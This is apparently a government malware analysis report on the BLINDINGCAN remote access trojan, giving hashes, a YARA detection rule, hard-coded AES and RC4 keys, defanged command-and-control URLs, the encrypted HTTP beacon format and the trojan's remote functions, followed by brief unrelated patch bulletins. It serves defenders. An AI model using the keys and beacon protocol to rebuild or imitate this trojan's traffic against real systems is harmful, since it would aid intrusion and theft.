24576:aSiVfP99Z7QI32TVKBixBWfSVz5HlWkZtk:aSMH94/TVKsfGc9Iqt

Entropy
7.996450

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:22:27-04:00

Import Hash
bddf350b1495019b036eb25682895735

Company Name
TODO: <Company name>

File Description
TODO: <File description>

Internal Name
MFC_DLL.dll

Legal Copyright
TODO: (c) <Company name>. All rights reserved.

Original Filename
MFC_DLL.dll

Product Name
TODO: <Product name>

Product Version
1.0.0.1

PE Sections

MD5
Name
Raw Size
Entropy

bbdf7f1c6cfdab4beb23ae1f5e5e8e3f
header
1024
2.753386

d41d8cd98f00b204e9800998ecf8427e
UPX0
0
0.000000

61de5945f98a8652eaf4ae5b93b41128
UPX1
838656
7.999757

70b01a5a98c1febe2bde96c9270957c3
.rsrc
5632
3.718427

Relationships

d5186efd85…
Connected_To
curiofirenze.com

d5186efd85…
Connected_To
automercado.co.cr

d5186efd85…
Dropped_By
0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

d5186efd85…
Contains
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

d5186efd85…
Contains
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Description

This application is a 64-bit UPX packed DLL installed by “0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6″ into the C:ProgramDataiconcache.db” directory. During execution, it uses AES cipher to decrypt and then decompress two embedded 64-bit DLL binaries “58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d” and “8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050” in memory. These binaries are loaded and executed in memory during runtime.

58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Tags

HIDDEN-COBRA

Details

Name
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Size
214608 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
6c2d15114ebdd910a336b6b147512a74

SHA1
9feef1eed2a8a5cbfe1c6478f2740d8fe63305e2

SHA256
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

SHA512
77fd1d56a0f0cf143286fb78519b69eb8ef30f383c117d353ab16d0be5f2bfdbdb847d717dbc8b70b5d806a46fa4a1dc29a8304b8349bc1097075f50557c5da8

ssdeep
3072:WvG/9l8VoAo8gj83efR0TmXBlPbAjoSrL90z1agX:0VoAo8qlWTmXBlPbAjHl0j

Entropy
4.709829

Antivirus

No matches found.

YARA Rules

rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN
{
   meta:
       Author = “CISA Code & Media Analysis”
       Incident = “10295134”
       Date = “2020-07-28”
       Last_Modified = “20200730_1030”
       Actor = “HiddenCobra”
       Category = “Trojan RAT”
       Family = “BLINDINGCAN”
       Description = “Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT”
       MD5_1 = “e7718609577c6e34221b03de7e959a8c”
       SHA256_1 = “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1”
       MD5_2 = “6c2d15114ebdd910a336b6b147512a74”
       SHA256_2 = “58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d”
   strings:
       $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
       $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
   condition:
       $s0 or $s1
}

ssdeep Matches

90
20ee5fdc9589067a7a312d6f660f0c8f33048f511975298ca6a9bfed145fe8fd

100
78a65874b49922217fd0423cc6293a23f70cb804022283ed3187b71178663ca3

PE Metadata

Compile Date
2020-05-19 03:26:27-04:00

Import Hash
af2479dbb1f93be4fc4a092cbbd4df85

PE Sections

MD5
Name
Raw Size
Entropy

6066ee1e6c73fe6133738f26cf898280
header
1024
2.581998

bfbe6f46025a25810199ae50f7f7ed04
.text
90624
6.498666

2cc742e33c53aeb638e9798422f8adaa
.rdata
31232
6.194223

21c81d1a5ad5583610f1bcb7827fec54
.data
14336
3.377777

0a93a2ad9833deb5581854bc11c7fcb7
.pdata
3584
4.918413

9a33838895830247744985365b8b2948
.rsrc
512
5.115767

e032dedb2f8e5a189a3a98897f1f7f92
.reloc
1536
2.852342

Relationships

58027c80c6…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

58027c80c6…
Connected_From
curiofirenze.com

58027c80c6…
Connected_From
automercado.co.cr

Description

This application is a malicious 64-bit DLL unpacked and executed by “d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5”. This binary has been identified as a 64-bit version of the Hidden Cobra RAT “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1”. This file contains the same embedded configuration data. The embedded data is decrypted using a hard-coded AES decryption key: “81SNWX3ALGPDMW5V”. The decrypted data is decoded using an XOR cipher. Displayed below is the content of the decoded data:

–Begin configuration data–
https[:]//www[.]automercado.co.cr/empleo/css/main.jsp
https[:]//www[.]automercado.co.cr/empleo/css/main.jsp
https[:]//www[.]automercado.co.cr/empleo/css/main.jsp
https[:]//www[.]curiofirenze.com/include/inc-site.asp
https[:]//www[.]curiofirenze.com/include/inc-site.asp
c:windowssystem32cmd.exe
%temp%
–End configuration data–

The malware decrypts its strings using a hard-coded RC4 key “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”. Displayed below are sample decrypted strings observed during analysis:

–Begin decrypted strings–
“HardwareDescriptionSystemCentralProcessor”
“ProcessorNameString”
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
“\tsclient”
–End decrypted strings–

It collects the following information about the victim’s system and beacons the collected data to the C2 “curiofirenze.com” and
“automercado.co.cr”:

–Begin system information–
Operating system (OS) version information
Processor information
System name
Local IP address information
Media access control (MAC) address.
–End system information–

It attempts to retrieve the User-Agent string from the victim’s system, if not available, it uses the following embedded User-Agent string:

–Begin User-Agent String–
“Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36″ .
–End User-Agent String–

It will generate HTTP POST requests with the following format:

–Begin HTTP POST format–
POST /<uri> HTTP/1.1
Connection: Keep-Alive
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >
Host: <domain>
Content-Length: <length>

id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>
–End HTTP POST format–

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

–Begin four parameters–
Four parameters: id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

Sample: id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname=”
–End four parameters–

The first parameter tag, ‘id=’, will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the ‘id=’ parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format:”first name tag:second name tag:third name tag”. This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

–Begin randomly selected string tags–
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
–End randomly selected string tags–

The second parameter tag ‘page=’ is a randomly selected name from the list of the above string tags which contains the “session id” data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag ‘bbsNo=’ is a randomly selected name from the list of the above string tags which contains a hard-coded string data “T1B7D95256A2001E” in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded. Analysis indicates that when encrypting data from the first three parameters, the encryption starts “0xC00 bytes” into the RC4 key stream.

The fourth parameter tag ‘bname=’ is a randomly selected name from a list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”.

It contains the following built-in functions for remote operations that provide various capabilities on a victim’s system:

–Begin built-in functions–
Retrieve information about all installed disks, including the disk type and the amount of free space on the disk
Create, start, and terminate a new process and its primary thread
Search, read, write, move, and execute files
Get and modify file or directory timestamps
Change the current directory for a process or file
Delete malware and artifacts associated with the malware from the infected system
–End built-in functions–

8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Details

Name
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Size
172208 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
63d155f889e09272d85cfd9dfc266131

SHA1
3f6ef29b86bf1687013ae7638f66502bcf883bfd

SHA256
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

SHA512
1f5464c9cb2786174d953666a287d5a681abe627e9caddf45986cd73290e6d73db9ddf2ccd589a0c09e4fe10cdf42b1d8d31dbfc5759505866f516769fea1727

ssdeep
768:XKXHstI+TCTWBGtl7CTnEUbrNXzuXrSXjkD4opaY16iWr:X7TCN/CTrbrNjGsjMdvW

Entropy
1.637592

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:21:47-04:00

Import Hash
7e564082b35201e421694b4ecea4ed0a

PE Sections

MD5
Name
Raw Size
Entropy

71170f767f99b3b8e8fb41eb4ca505b9
header
1024
2.465212

99d34a0fcb234b3aed2a92fc7101b9f5
.text
20480
6.210180

46abe134e48b8af335f468d25c91a1fe
.rdata
9728
4.554618

c545b6874d37d733e970a7e884ddc2c7
.data
4096
2.099924

0d6201e58760b130181228a80ca4a775
.pdata
1536
3.828383

a09ee0743bee58fbe63a9a50c1d3f79b
.rsrc
512
5.105029

1360c7212899568e17f02f8e61db1c60
.reloc
512
4.003257

Relationships

8b53b51962…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Description

This application is a 64-bit DLL unpacked and executed by “d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5”. This file is designed to unmap the DLL “C:ProgramDataiconcache.db” loaded in the process.

curiofirenze.com

Tags

command-and-control

URLs

hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp

Ports

443 TCP

HTTP Sessions

https://www.curiofirenze.com/include/inc-site.asp
id=bHRhcGpjaGR05HIC99liJ/0pLNaM14H22x8ktA==&PageNumber=hitSpw==&bname=4CInpdMuf615aK3cidCq+w==&tb=
Connection: Keep-Alive
Cache-Control: no-cache
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Whois

Domain Name: curiofirenze.com
Registry Domain ID: 1874895918_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.joker.com
Registrar URL: https://joker.com
Updated Date: 2019-11-25T10:15:37Z
Creation Date: 2014-09-09T12:05:53Z
Registrar Registration Expiration Date: 2020-09-09T12:05:53Z
Registrar: CSL Computer Service Langenbach GmbH d/b/a joker.com
Registrar IANA ID: 113
Registrar Abuse Contact Email: abuse@joker.com
Registrar Abuse Contact Phone: +49.21186767447
Reseller: CWNET s.r.l.
Reseller: Internet Service Provider
Reseller: http://www.cheapnet.it
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: Curio s.r.l.
Registrant State/Province: FI
Registrant Country: IT
Name Server: lady.ns.cloudflare.com
Name Server: phil.ns.cloudflare.com
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2020-06-30T20:18:19Z <<<

Relationships

curiofirenze.com
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

curiofirenze.com
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

curiofirenze.com
Resolved_To
192.99.20.39

curiofirenze.com
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

curiofirenze.com
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Description

Both the 32-bit and 64-bit “iconcache.db” connect to the domain via HTTPS POST requests on port 443 with encoded data.

192.99.20.39

Whois

Queried whois.arin.net with “n 192.99.20.39″…

NetRange:     192.99.0.0 – 192.99.255.255
CIDR:         192.99.0.0/16
NetName:        OVH-ARIN-7
NetHandle:     NET-192-99-0-0-1
Parent:         NET192 (NET-192-0-0-0-0)
NetType:        Direct Allocation
OriginAS:     AS16276
Organization: OVH Hosting, Inc. (HO-2)
RegDate:        2013-06-17
Updated:        2013-06-17
Comment:        www.ovh.com
Ref:            https://rdap.arin.net/registry/ip/192.99.0.0

OrgName:        OVH Hosting, Inc.
OrgId:         HO-2
Address:        800-1801 McGill College
City:         Montreal
StateProv:     QC
PostalCode:     H3A 2N4
Country:        CA
RegDate:        2011-06-22
Updated:        2017-01-28
Ref:            https://rdap.arin.net/registry/entity/HO-2

OrgAbuseHandle: ABUSE3956-ARIN
OrgAbuseName: Abuse
OrgAbusePhone: +1-855-684-5463
OrgAbuseEmail: abuse@ovh.ca
OrgAbuseRef:    https://rdap.arin.net/registry/entity/ABUSE3956-ARIN

OrgTechHandle: NOC11876-ARIN
OrgTechName: NOC
OrgTechPhone: +1-855-684-5463
OrgTechEmail: noc@ovh.net
OrgTechRef:    https://rdap.arin.net/registry/entity/NOC11876-ARIN

Relationships

192.99.20.39
Resolved_To
curiofirenze.com

Description

Domain “curiofirenze.com” resolved to this IP address during analysis.

automercado.co.cr

Tags

command-and-control

URLs

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

Ports

443 TCP

HTTP Sessions

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
id=ZHJnd296a3RneKp2cza8ztn5YZTuEO4IhpdkXb0=&bbs_id=Kfk8Gw==&bname=TvlHGxvhwYmiNri5Grdduw==&idx_num=
Connection: Keep-Alive
Cache-Control: no-cache
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Whois

domain:     automercado.co.cr
registrant: CON-292
admin-c:     CON-292
nsset:        AUTOMERCADO_CO_CR
registrar:    NIC-REG1
registered: 03.03.1996 06:00:00
changed:     24.02.2020 08:19:22
expire:     02.03.2021

contact:     CON-292
address:     San José
address:     1500-1000
address:     San Josí©
address:     CR
registrar:    NIC-REG1
created:     03.06.2011 22:38:21

nsset:        AUTOMERCADO_CO_CR
nserver:     ns3.x-peditenetworks.com
nserver:     ns1.x-peditenetworks.com
nserver:     ns2.x-peditenetworks.com
tech-c:     ASANCHEZ_AT_AUTOMERCADO.CR
registrar:    NIC-REG1
created:     03.06.2011 12:27:09
changed:     25.09.2012 10:01:46

address:     50 m sur del parque morazan
address:     San Jose
address:     1500-1000
address:     San José
address:     CR
registrar:    NIC-REG1
created:     25.09.2012 09:59:04
                                           

Relationships

automercado.co.cr
Resolved_To
54.241.91.49

automercado.co.cr
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

automercado.co.cr
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

automercado.co.cr
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

automercado.co.cr
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Description

Both the 32-bit and 64-bit “iconcache.db” connect to the domain via HTTPS POST requests on port 443 with encoded data.

54.241.91.49

Whois

Queried whois.arin.net with “n 54.241.91.49″…

NetRange:     54.240.0.0 – 54.255.255.255
CIDR:         54.240.0.0/12
NetName:        AMAZON-2011L
NetHandle:     NET-54-240-0-0-1
Parent:         NET54 (NET-54-0-0-0-0)
NetType:        Direct Allocation
OriginAS:     AS16509
Organization: Amazon Technologies Inc. (AT-88-Z)
RegDate:        2011-12-09
Updated:        2012-04-02
Ref:            https://rdap.arin.net/registry/ip/54.240.0.0

OrgName:        Amazon Technologies Inc.
OrgId:         AT-88-Z
Address:        410 Terry Ave N.
City:         Seattle
StateProv:     WA
PostalCode:     98109
Country:        US
RegDate:        2011-12-08
Updated:        2020-03-31
Comment:        All abuse reports MUST include:
Comment:        * src IP
Comment:        * dest IP (your IP)
Comment:        * dest port
Comment:        * Accurate date/timestamp and timezone of activity
Comment:        * Intensity/frequency (short log extracts)
Comment:        * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.
Ref:            https://rdap.arin.net/registry/entity/AT-88-Z

OrgAbuseHandle: AEA8-ARIN
OrgAbuseName: Amazon EC2 Abuse
OrgAbusePhone: +1-206-266-4064
OrgAbuseEmail: abuse@amazonaws.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/AEA8-ARIN

OrgNOCHandle: AANO1-ARIN
OrgNOCName: Amazon AWS Network Operations
OrgNOCPhone: +1-206-266-4064
OrgNOCEmail: amzn-noc-contact@amazon.com
OrgNOCRef:    https://rdap.arin.net/registry/entity/AANO1-ARIN

OrgTechHandle: ANO24-ARIN
OrgTechName: Amazon EC2 Network Operations
OrgTechPhone: +1-206-266-4064
OrgTechEmail: amzn-noc-contact@amazon.com
OrgTechRef:    https://rdap.arin.net/registry/entity/ANO24-ARIN

OrgRoutingHandle: ADR29-ARIN
OrgRoutingName: AWS Dogfish Routing
OrgRoutingPhone: +1-206-266-4064
OrgRoutingEmail: aws-dogfish-routing-poc@amazon.com
OrgRoutingRef:    https://rdap.arin.net/registry/entity/ADR29-ARIN

OrgRoutingHandle: IPROU3-ARIN
OrgRoutingName: IP Routing
OrgRoutingPhone: +1-206-266-4064
OrgRoutingEmail: aws-routing-poc@amazon.com
OrgRoutingRef:    https://rdap.arin.net/registry/entity/IPROU3-ARIN

Relationships

54.241.91.49
Resolved_To
automercado.co.cr

Description

Domain “automercado.co.cr” resolved to this IP during analysis.

Relationship Summary

586d012540…
Connected_To
agarwalpropertyconsultants.com

agarwalpropertyconsultants.com
Connected_From
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

agarwalpropertyconsultants.com
Resolved_To
199.79.63.24

199.79.63.24
Resolved_To
agarwalpropertyconsultants.com

158ddb8561…
Connected_To
anca-aste.it

7933716892…
Connected_To
anca-aste.it

6a3446b8a4…
Connected_To
anca-aste.it

anca-aste.it
Resolved_To
51.68.152.96

anca-aste.it
Connected_From
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

anca-aste.it
Connected_From
158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

anca-aste.it
Connected_From
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

51.68.152.96
Resolved_To
anca-aste.it

d40ad4cd39…
Dropped
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

b70e66d387…
Connected_To
curiofirenze.com

b70e66d387…
Connected_To
automercado.co.cr

b70e66d387…
Dropped_By
d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

b70e66d387…
Contains
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

b70e66d387…
Contains
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

bdfd16dc53…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

bdfd16dc53…
Connected_To
curiofirenze.com

bdfd16dc53…
Connected_To
automercado.co.cr

7d507281e2…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

0fc12e03ee…
Dropped
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

d5186efd85…
Connected_To
curiofirenze.com

d5186efd85…
Connected_To
automercado.co.cr

d5186efd85…
Dropped_By
0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

d5186efd85…
Contains
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

d5186efd85…
Contains
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

58027c80c6…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

58027c80c6…
Connected_From
curiofirenze.com

58027c80c6…
Connected_From
automercado.co.cr

8b53b51962…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

curiofirenze.com
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

curiofirenze.com
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

curiofirenze.com
Resolved_To
192.99.20.39

curiofirenze.com
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

curiofirenze.com
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

192.99.20.39
Resolved_To
curiofirenze.com

automercado.co.cr
Resolved_To
54.241.91.49

automercado.co.cr
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

automercado.co.cr
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

automercado.co.cr
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

automercado.co.cr
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

54.241.91.49
Resolved_To
automercado.co.cr

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

1-888-282-0870

CISA Service Desk (UNCLASS)

CISA SIPR (SIPRNET)

CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

Web: https://malware.us-cert.gov

E-Mail: submit@malware.us-cert.gov

FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 19, 2020Google has released Chrome version 84.0.4147.135 for Windows, Mac, and Linux. This version addresses a vulnerability that an attacker could exploit to take control of an affected system.

The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review the Chrome Release Note and apply the necessary updates.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 20, 2020Cisco has released security updates to address vulnerabilities in Cisco products. A remote attacker could exploit some of these vulnerabilities to take control of an affected system. For updates addressing lower severity vulnerabilities see the Cisco Security Advisories page.

The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review the following Cisco Advisories and apply the necessary updates:

Cisco vWAAS for Cisco ENCS 5400-W Series and CSP 5000-W Series Default Credentials Vulnerability cisco-sa-waas-encsw-cspw-cred-hZzL29A7

Cisco Smart Software Manager On-Prem Privilege Escalation Vulnerability cisco-sa-smart-priv-esca-nqwxXWBu

Cisco Video Surveillance 8000 Series IP Cameras Cisco Discovery Protocol Remote Code Execution and Denial of Service Vulnerabilities cisco-sa-ipcameras-rce-dos-uPyJYxN3

This product is provided subject to this Notification and this Privacy & Use policy.